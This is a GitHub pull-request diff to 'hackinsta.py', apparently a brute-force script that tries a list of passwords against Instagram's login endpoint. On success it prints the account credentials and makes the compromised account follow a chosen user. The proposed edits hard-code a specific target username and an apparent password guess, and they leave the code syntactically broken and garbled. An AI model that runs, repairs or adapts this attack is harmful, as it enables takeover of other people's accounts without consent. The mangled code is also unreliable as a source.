Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 14 additions & 14 deletions hackinsta.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ def userExists(username):
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':username,'id':fUserID}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Manisohal80

return {'username':sakshu_1315,'id':fUserID}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Manisohal80



def Login(username,password):
Expand All @@ -49,7 +49,7 @@ def Login(username,password):
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':username, 'password':password}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Manisohal80

data = {'username':'sakshu_1315, 'password':password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
Expand All @@ -67,36 +67,36 @@ def Login(username,password):



def follow(sess, username):
username = userExists(username)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Manisohal80

def follow(sess, username):sakshu_1315
username = userExists(sakshu_1315)
if (username == False):
return
else:
userID = username['id']
userID = sakshu_1315['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)


username = str(input('Please enter a username: '))
username = userExists(username)
username = str(input('Please enter a username:sakshu_1315 '))
username = userExists(sakshu_1315)
if (username == False):
exit()
else:
username = username['username']
username = username['sakshu_1315']



delayLoop = int(input('Please add delay between the passwords (in seconds): '))
delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))


for i in range(len(passwords)):
password = passwords[i]
sess = Login(username,password)
for i in range(len(passwords)):sargar9906
password = passwords[i]sargar9906
sess = Login(sakshu_1315,sargar9906)
if (sess):
print ('Login success %s' % [username,password])
print ('Login success %s' % [sakshu_1315,sargar9906])

#because i am cool
follow(sess,'avr_amit')
follow(sess,'sakshu_1315')

try:
time.sleep(delayLoop)
Expand Down